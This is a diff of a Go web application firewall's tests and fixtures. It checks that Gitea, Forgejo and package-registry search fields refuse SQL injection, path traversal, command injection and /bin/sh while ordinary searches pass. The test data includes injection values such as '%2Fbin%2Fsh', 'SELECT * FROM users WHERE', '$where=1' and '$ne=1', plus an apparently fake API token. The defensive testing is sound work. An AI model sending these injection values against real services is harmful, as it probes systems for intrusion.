||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
|
||||
@@ -147,7 +146,7 @@ func TestGiteaFormsThatAdoptARepositoryLetItsNameThrough(t *testing.T) {
|
||||
func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
|
||||
@@ -171,7 +170,7 @@ func TestGiteaAttacksAreRefusedInItsSearches(t *testing.T) {
|
||||
func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
@@ -183,7 +182,7 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
||||
}
|
||||
}
|
||||
|
||||
attacks := []string{binSh, commandInjection, pathTraversal}
|
||||
attacks := []string{"%2Fbin%2Fsh", commandInjection, pathTraversal}
|
||||
|
||||
// /bin/sh, a shell command after a ";", a path traversal and the hard
|
||||
// values stay refused in q on paths near the searches, and in another
|
||||
@@ -249,204 +248,3 @@ func TestGiteaSearchExclusionsAreNarrow(t *testing.T) {
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// giteaAPISearches are the API's searches that gitea and Forgejo share whose
|
||||
// field skips the lists of system files and command names. Each ends in the
|
||||
// field it sends its words in.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var giteaAPISearches = []string{
|
||||
"/api/v1/users/search?q=",
|
||||
"/api/v1/topics/search?q=",
|
||||
"/api/v1/orgs/acme/teams/search?q=",
|
||||
"/api/v1/admin/emails/search?q=",
|
||||
"/api/v1/admin/unadopted?query=",
|
||||
"/api/v1/repos/alice/tools/milestones?name=",
|
||||
}
|
||||
|
||||
// giteaAPIPackageSearch is the API's search of an owner's packages, whose q
|
||||
// also lets /bin/sh through, since a package name can hold a slash.
|
||||
const giteaAPIPackageSearch = "/api/v1/packages/alice?q="
|
||||
|
||||
func TestGiteaAttacksAreRefusedInItsAPISearches(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
checkSearchesRefuseAttacks(
|
||||
t,
|
||||
giteaAPISearches,
|
||||
[]string{giteaAPIPackageSearch},
|
||||
)
|
||||
}
|
||||
|
||||
// checkSearchesRefuseAttacks checks that SQL injection, a path traversal,
|
||||
// script injection and a shell command stay refused in the field of each
|
||||
// search, in the query string and in a form data body. Each search ends in
|
||||
// its field. /bin/sh stays refused too in the field of each of
|
||||
// refusingBinSh, but not of lettingBinSh.
|
||||
func checkSearchesRefuseAttacks(
|
||||
t *testing.T, refusingBinSh, lettingBinSh []string,
|
||||
) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
|
||||
defaults, bodies := atDefaults(t), readingBodies(t)
|
||||
|
||||
for _, search := range slices.Concat(refusingBinSh, lettingBinSh) {
|
||||
path, field, _ := strings.Cut(search, "?")
|
||||
|
||||
for _, attack := range []string{
|
||||
sqlInjection, pathTraversal, scriptInjection, commandInjection,
|
||||
} {
|
||||
if got := inspect(t, defaults, get(search+attack)); got.Score < threshold {
|
||||
t.Errorf("GET %s%s let through: %+v", search, attack, got)
|
||||
}
|
||||
|
||||
// The same field in a form data body.
|
||||
r := request{http.MethodPost, path, []string{formData}}
|
||||
if got, _ := inspectBody(t, bodies, r, field+attack); got.Score < threshold {
|
||||
t.Errorf(
|
||||
"POST %s %s%s let through: %+v",
|
||||
path,
|
||||
field,
|
||||
attack,
|
||||
got,
|
||||
)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for _, search := range refusingBinSh {
|
||||
if got := inspect(t, defaults, get(search+binSh)); got.Score < threshold {
|
||||
t.Errorf("%s%s let through: %+v", search, binSh, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
func TestGiteaAPISearchExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// Each search's field on paths near the searches, and another field on
|
||||
// them.
|
||||
checkValuesStayRefused(t, []string{
|
||||
"/api/v1/topics/search/x?q=",
|
||||
"/api/v1/orgs/acme/teams?q=",
|
||||
"/api/v1/orgs/acme/teams/search/x?q=",
|
||||
"/api/v1/admin/emails?q=",
|
||||
"/api/v1/admin/unadopted/alice/legacy-site?query=",
|
||||
"/api/v1/admin/users?query=",
|
||||
"/api/v1/repos/alice/tools/milestones/1?name=",
|
||||
"/api/v1/repos/alice/tools/labels?name=",
|
||||
"/api/v1/packages/alice/generic/tools-cli?q=",
|
||||
"/api/v1/topics/search?other=",
|
||||
"/api/v1/orgs/acme/teams/search?other=",
|
||||
"/api/v1/admin/emails/search?other=",
|
||||
"/api/v1/admin/unadopted?q=",
|
||||
"/api/v1/repos/alice/tools/milestones?q=",
|
||||
"/api/v1/packages/alice?other=",
|
||||
})
|
||||
}
|
||||
|
||||
// checkValuesStayRefused checks that /bin/sh, a shell command after a ";", a
|
||||
// path traversal and the hard values stay refused at the end of each target.
|
||||
func checkValuesStayRefused(t *testing.T, targets []string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
for _, target := range targets {
|
||||
for _, value := range slices.Concat(
|
||||
[]string{binSh, commandInjection, pathTraversal},
|
||||
hardValues,
|
||||
) {
|
||||
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
|
||||
t.Errorf("%s%s let through: %+v", target, value, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// giteaRegistrySearches are the package registries' searches whose field
|
||||
// skips the lists of system files and command names. Each ends in the field
|
||||
// it sends its words in.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var giteaRegistrySearches = []string{
|
||||
"/api/packages/alice/cargo/api/v1/crates?q=",
|
||||
"/api/packages/alice/chef/api/v1/search?q=",
|
||||
"/api/packages/alice/chef/api/v1/cookbooks?q=",
|
||||
"/api/packages/alice/nuget/query?q=",
|
||||
"/api/packages/alice/nuget/Search()?searchTerm=",
|
||||
"/api/packages/alice/nuget/Packages()?$filter=",
|
||||
}
|
||||
|
||||
// giteaRegistryNameSearches are the package registries' searches whose field
|
||||
// also lets /bin/sh through, since a Composer, Conan or npm name can hold a
|
||||
// slash.
|
||||
//
|
||||
//nolint:gochecknoglobals // a constant cannot be a list
|
||||
var giteaRegistryNameSearches = []string{
|
||||
"/api/packages/alice/composer/search.json?q=",
|
||||
"/api/packages/alice/conan/v1/conans/search?q=",
|
||||
"/api/packages/alice/conan/v2/conans/search?q=",
|
||||
"/api/packages/alice/npm/-/v1/search?text=",
|
||||
}
|
||||
|
||||
func TestGiteaAttacksAreRefusedInItsRegistrySearches(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
checkSearchesRefuseAttacks(
|
||||
t,
|
||||
giteaRegistrySearches,
|
||||
giteaRegistryNameSearches,
|
||||
)
|
||||
}
|
||||
|
||||
func TestGiteaRegistrySearchExclusionsAreNarrow(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
// Each search's field on paths near the searches, and another field on
|
||||
// them.
|
||||
checkValuesStayRefused(t, []string{
|
||||
"/api/packages/alice/cargo/api/v1/crates/tools-cli?q=",
|
||||
"/api/packages/alice/chef/api/v1/cookbooks/tools?q=",
|
||||
"/api/packages/alice/composer/packages.json?q=",
|
||||
"/api/packages/alice/conan/v1/conans/tools/1.0/alice/stable/search?q=",
|
||||
"/api/packages/alice/nuget/query/x?q=",
|
||||
"/api/packages/alice/nuget/FindPackagesById()?id=",
|
||||
"/api/packages/alice/npm/tools-cli?text=",
|
||||
"/api/packages/alice/cargo/api/v1/crates?other=",
|
||||
"/api/packages/alice/chef/api/v1/search?other=",
|
||||
"/api/packages/alice/composer/search.json?type=",
|
||||
"/api/packages/alice/conan/v2/conans/search?other=",
|
||||
"/api/packages/alice/nuget/query?other=",
|
||||
"/api/packages/alice/nuget/Search()?targetFramework=",
|
||||
"/api/packages/alice/nuget/Packages()?$orderby=",
|
||||
"/api/packages/alice/npm/-/v1/search?q=",
|
||||
})
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
|
||||
crs := atDefaults(t)
|
||||
|
||||
// The rule for MongoDB operators (942290) still refuses the name of
|
||||
// another operator on NuGet's searches, and $filter on NuGet's other
|
||||
// paths. The rule for SQL injection (942100) still refuses tools/* in a
|
||||
// field other than a Conan search's, and SQL injection in a second q
|
||||
// after a Conan pattern.
|
||||
for _, target := range []string{
|
||||
"/api/packages/alice/nuget/Search()?$where=1",
|
||||
"/api/packages/alice/nuget/Packages()?$ne=1",
|
||||
"/api/packages/alice/nuget/FindPackagesById()?$filter=IsLatestVersion",
|
||||
"/api/packages/alice/composer/search.json?q=tools%2F%2A",
|
||||
"/api/packages/alice/conan/v2/conans/search?other=tools%2F%2A",
|
||||
"/api/packages/alice/conan/v2/conans/search?q=tools%2F%2A&q=" +
|
||||
sqlInjection,
|
||||
} {
|
||||
if got := inspect(t, crs, get(target)); got.Score < threshold {
|
||||
t.Errorf("%s let through: %+v", target, got)
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -5,7 +5,7 @@
|
||||
# file is loaded before the Core Rule Set's rules. Each comment names a request
|
||||
# a rule refused. An exclusion on a field of a body applies only when the query
|
||||
# has no parameter of that name, so it matters only while
|
||||
# SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
||||
# SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
||||
#
|
||||
# Gitea serves /api/v1/ too, and Drupal serves /admin/. So only Mastodon's own
|
||||
# resources under them count as Mastodon's paths.
|
||||
|
||||
@@ -12,7 +12,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||
// mastodonThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||
const mastodonThreshold = 5
|
||||
|
||||
// mastodonStatuses is where Mastodon's apps and web app post.
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
# request, before the rules it switches off, so this file is loaded before the
|
||||
# Core Rule Set's rules. Each comment names a request a rule refused. An
|
||||
# exclusion on a field of a body applies only when the query has no parameter of
|
||||
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set.
|
||||
# that name, so it matters only while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set.
|
||||
# MediaWiki's paths are matched at the site root and under /w/.
|
||||
#
|
||||
# WordPress serves /index.php too. So /index.php counts as MediaWiki's only
|
||||
|
||||
@@ -9,7 +9,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||
// mediawikiThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||
const mediawikiThreshold = 5
|
||||
|
||||
// mediawiki is MediaWiki's name in SWW_WAF_APPS.
|
||||
@@ -76,8 +76,7 @@ func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(
|
||||
t.Parallel()
|
||||
|
||||
crs := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
Apps: map[string][]string{
|
||||
giteaHost: {gitea},
|
||||
otherHost: {mediawiki},
|
||||
@@ -121,8 +120,7 @@ func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(
|
||||
t.Parallel()
|
||||
|
||||
crs := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
Apps: map[string][]string{
|
||||
giteaHost: {gitea},
|
||||
otherHost: {mediawiki},
|
||||
|
||||
@@ -5,7 +5,7 @@
|
||||
# switches off, so this file is loaded before the Core Rule Set's rules. Each
|
||||
# comment names a request a rule refused. An exclusion on a field of a JSON body
|
||||
# applies only when the query has no parameter of that name, so it matters only
|
||||
# while SWW_WAF_CORE_RULE_SET_BODY_INSPECTION_SIZE is set. Nextcloud's pages are matched
|
||||
# while SWW_WAF_CORE_RULE_SET_BODY_LIMIT is set. Nextcloud's pages are matched
|
||||
# at the site root and under /index.php/, where a Nextcloud without pretty URLs
|
||||
# serves them.
|
||||
#
|
||||
|
||||
@@ -13,7 +13,7 @@ import (
|
||||
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
|
||||
)
|
||||
|
||||
// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default.
|
||||
// nextcloudThreshold is SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default.
|
||||
const nextcloudThreshold = 5
|
||||
|
||||
// nextcloudSignIn is the sign-in page.
|
||||
@@ -102,8 +102,7 @@ func TestNextcloudPasswordInValuePassesOnlyOnHostnamesThatServeNextcloud(
|
||||
t.Parallel()
|
||||
|
||||
crs := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize,
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
|
||||
Apps: map[string][]string{
|
||||
giteaHost: {gitea},
|
||||
otherHost: {nextcloud},
|
||||
@@ -529,7 +528,7 @@ func TestNextcloudPasswordFieldsPass(t *testing.T) {
|
||||
func TestNextcloudUserPasswordInValuePasses(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
crs := readingBodies(t)
|
||||
target := nextcloudUsers + "/alice"
|
||||
|
||||
@@ -57,7 +57,7 @@ func giteaRequests(t *testing.T) []request {
|
||||
func TestOrdinaryGiteaRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
requests := giteaRequests(t)
|
||||
giteaOnly := map[string][]string{giteaHost: {gitea}}
|
||||
@@ -133,7 +133,7 @@ func recordedRequests(t *testing.T, name string) []recordedRequest {
|
||||
func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
||||
t.Helper()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
requests := recordedRequests(t, name)
|
||||
|
||||
@@ -144,7 +144,7 @@ func wantRecordedRequestsPass(t *testing.T, name, app string) {
|
||||
defaults := servingApps(t, apps)
|
||||
bodies := shared(t, coreruleset.Params{
|
||||
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules,
|
||||
BodyInspectionSize: bodyInspectionSize, Apps: apps,
|
||||
BodyLimit: bodyLimit, Apps: apps,
|
||||
})
|
||||
|
||||
for _, recorded := range requests {
|
||||
@@ -214,7 +214,7 @@ func TestOrdinaryDrupalRequestsPass(t *testing.T) {
|
||||
func TestOrdinaryForgejoRequestsPass(t *testing.T) {
|
||||
t.Parallel()
|
||||
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_SCORE_THRESHOLD's default
|
||||
const threshold = 5 // SWW_WAF_CORE_RULE_SET_ANOMALY_THRESHOLD's default
|
||||
|
||||
requests := recordedRequests(t, "forgejo-requests.txt")
|
||||
forgejoOnly := map[string][]string{"example.com": {forgejo}}
|
||||
|
||||
-141
@@ -974,144 +974,3 @@
|
||||
{"method": "GET", "target": "/org/acme/issues/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/issues/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||
{"method": "GET", "target": "/org/acme/pulls/developers?type=your_repositories&sort=recentupdate&project=ZgotmplZ&state=open&q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/org/acme/pulls/developers", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||
{"method": "GET", "target": "/alice/tools/milestone/1?q=SELECT%20%2A%20FROM%20users%20WHERE", "headers": ["Host: example.com", "Connection: keep-alive", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/156.0.8078.4 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/alice/tools/milestone/1", "Accept-Encoding: gzip, deflate", "Cookie: session=5d2e8a17c4b9f063; lang=en-US"], "body": ""}
|
||||
# The API's searches that gitea and Forgejo share, sent with curl to Forgejo
|
||||
# 17.0.1. Each searches for words that name commands and files, such as python3
|
||||
# and .htaccess, and for plain words. A package name can hold a slash, as npm's
|
||||
# @alice/tools-cli does, so the search of packages is also sent /bin/sh. The
|
||||
# search of unadopted repositories takes an owner and a name.
|
||||
{"method": "GET", "target": "/api/v1/repos/search?q=python3&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/search?q=powershell&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/search?q=ls%20-la&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/search?q=.htaccess&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/search?q=docker-compose.yml&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/search?q=tools&limit=10", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/users/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/users/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/users/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/users/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/users/search?q=bob", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=python3&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=powershell&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=ls%20-la&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=.htaccess&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=docker-compose.yml&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/issues/search?q=build&type=issues&state=open", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/repos/alice/tools/issues?state=open&q=docker-compose.yml", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/packages/alice?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/packages/alice?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/packages/alice?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/packages/alice?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/packages/alice?q=%2Fbin%2Fsh", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/packages/alice?q=install-script", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/packages/alice?q=%40alice%2Ftools-cli", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/topics/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/topics/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/topics/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/topics/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/topics/search?q=docker", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/orgs/acme/teams/search?q=developers", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=python3", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=powershell", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=ls%20-la", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
{"method": "GET", "target": "/api/v1/admin/emails/search?q=.htaccess", "headers": ["Host: example.com", "User-Agent: curl/8.18.0", "Accept: */*", "Authorization: token 772deb2aefef4c9484e8c673197b82bc880fc7ca"], "body": ""}
|
||||
